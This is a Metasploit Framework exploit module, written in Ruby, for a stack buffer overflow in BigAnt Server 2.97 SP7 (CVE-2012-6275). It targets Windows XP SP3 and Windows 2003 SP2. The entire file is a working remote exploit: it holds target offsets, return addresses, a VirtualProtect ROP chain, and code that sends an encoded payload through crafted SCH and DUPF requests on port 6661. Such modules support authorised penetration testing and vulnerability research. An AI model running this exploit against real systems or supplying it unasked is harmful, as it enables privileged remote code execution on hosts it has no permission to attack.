BigAnt Server 2.97 - SCH And DUPF Buffer Overflow



##

# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::Tcp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'BigAnt Server 2 SCH And DUPF Buffer Overflow',
            'Description'    => %q{
                    This exploits a stack buffer overflow in BigAnt Server 2.97 SP7. The
                vulnerability is due to the dangerous usage of strcpy while handling errors. This
                module uses a combination of SCH and DUPF request to trigger the vulnerability, and
                has been tested successfully against version 2.97 SP7 over Windows XP SP3 and
                Windows 2003 SP2.
            },
            'Author'         =>
                [
                    'Hamburgers Maccoy', # Vulnerability discovery
                    'juan vazquez'       # Metasploit module
                ],
            'License'        => MSF_LICENSE,
            'References'     =>
                [
                    [ 'CVE', '2012-6275' ],
                    [ 'US-CERT-VU', '990652' ],
                    [ 'BID', '57214' ],
                    [ 'OSVDB', '89344' ]
                ],
            'Payload'        =>
                {
                    'Space'       => 2500,
                    'BadChars'    => "\x00\x0a\x0d\x25\x27",
                    'DisableNops' => true,
                    'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'BigAnt Server 2.97 SP7 / Windows XP SP3',
                        {
                            'Offset'     => 629,
                            'Ret'        => 0x77c21ef4, # ppr from msvcrt
                            'JmpESP'     => 0x77c35459, # push esp # ret from msvcrt
                            'FakeObject' => 0x77C60410 # .data from msvcrt
                        }
                    ],
                    [ 'BigAnt Server 2.97 SP7 / Windows 2003 SP2',
                        {
                            'Offset'      => 629,
                            'Ret'         => 0x77bb287a, # ppr from msvcrt
                            'FakeObject'  => 0x77bf2460, # .data from msvcrt
                            :callback_rop => :w2003_sp2_rop
                        }
                    ]
                ],
            'Privileged'     => true,
            'DefaultTarget' => 0,
            'DisclosureDate' => 'Jan 09 2013'))

            register_options([Opt::RPORT(6661)], self.class)
    end

    def junk(n=4)
        return rand_text_alpha(n).unpack("V")[0].to_i
    end

    def nop
        return make_nops(4).unpack("V")[0].to_i
    end

    def w2003_sp2_rop
        rop_gadgets =
            [
                0x77bc5d88, # POP EAX # RETN
                0x77ba1114, # <- *&VirtualProtect()
                0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                junk,
                0x77bb0c86, # XCHG EAX,ESI # RETN
                0x77bc9801, # POP EBP # RETN
                0x77be2265, # ptr to 'push esp #  ret'
                0x77bc5d88, # POP EAX # RETN
                0x03C0990F,
                0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
                0x77bb48d3, # POP EBX, RET
                0x77bf21e0, # .data
                0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
                0x77bbfc02, # POP ECX # RETN
                0x77bef001, # W pointer (lpOldProtect) (-> ecx)
                0x77bd8c04, # POP EDI # RETN
                0x77bd8c05, # ROP NOP (-> edi)
                0x77bc5d88, # POP EAX # RETN
                0x03c0984f,
                0x77bdd441, # SUB EAX, 03c0940f
                0x77bb8285, # XCHG EAX,EDX # RETN
                0x77bc5d88, # POP EAX # RETN
                nop,
                0x77be6591, # PUSHAD # ADD AL,0EF # RETN
            ].pack("V*")

        return rop_gadgets
    end

    def exploit

        sploit = rand_text_alpha(target['Offset'])
        sploit << [target.ret].pack("V")
        sploit << [target['FakeObject']].pack("V")
        sploit << [target['FakeObject']].pack("V")
        if target[:callback_rop] and self.respond_to?(target[:callback_rop])
            sploit << self.send(target[:callback_rop])
        else
            sploit << [target['JmpESP']].pack("V")
        end
        sploit << payload.encoded

        random_filename = rand_text_alpha(4)
        random_date = "#{rand_text_numeric(4)}-#{rand_text_numeric(2)}-#{rand_text_numeric(2)} #{rand_text_numeric(2)}:#{rand_text_numeric(2)}:#{rand_text_numeric(2)}"
        random_userid = rand_text_numeric(1)
        random_username = rand_text_alpha_lower(5)
        random_content = rand_text_alpha(10 + rand(10))

        sch = "SCH 16\n"
        sch << "cmdid: 1\n"
        sch << "content-length: 0\n"
        sch << "content-type: Appliction/Download\n"
        sch << "filename: #{random_filename}.txt\n"
        sch << "modified: #{random_date}\n"
        sch << "pclassid: 102\n"
        sch << "pobjid: 1\n"
        sch << "rootid: 1\n"
        sch << "sendcheck: 1\n"
        sch << "source_cmdname: DUPF\n"
        sch << "source_content-length: 116619\n"
        sch << "userid: #{random_userid}\n"
        sch << "username: #{sploit}\n\n"

        print_status("Trying target #{target.name}...")

        connect
        print_status("Sending SCH request...")
        sock.put(sch)
        res = sock.get_once
        if res.nil?
            fail_with(Exploit::Failure::Unknown, "No response to the SCH request")
        end
        if res=~ /scmderid: \{(.*)\}/
            scmderid = $1
        else
            fail_with(Exploit::Failure::UnexpectedReply, "scmderid value not found in the SCH response")
        end

        dupf = "DUPF 16\n"
        dupf << "cmdid: 1\n"
        dupf << "content-length: #{random_content.length}\n"
        dupf << "content-type: Appliction/Download\n"
        dupf << "filename: #{random_filename}.txt\n"
        dupf << "modified: #{random_date}\n"
        dupf << "pclassid: 102\n"
        dupf << "pobjid: 1\n"
        dupf << "rootid: 1\n"
        dupf << "scmderid: {#{scmderid}}\n"
        dupf << "sendcheck: 1\n"
        dupf << "userid: #{random_userid}\n"
        dupf << "username: #{random_username}\n\n"
        dupf << random_content

        print_status("Sending DUPF request...")
        sock.put(dupf)
        #sock.get_once
        disconnect

    end

end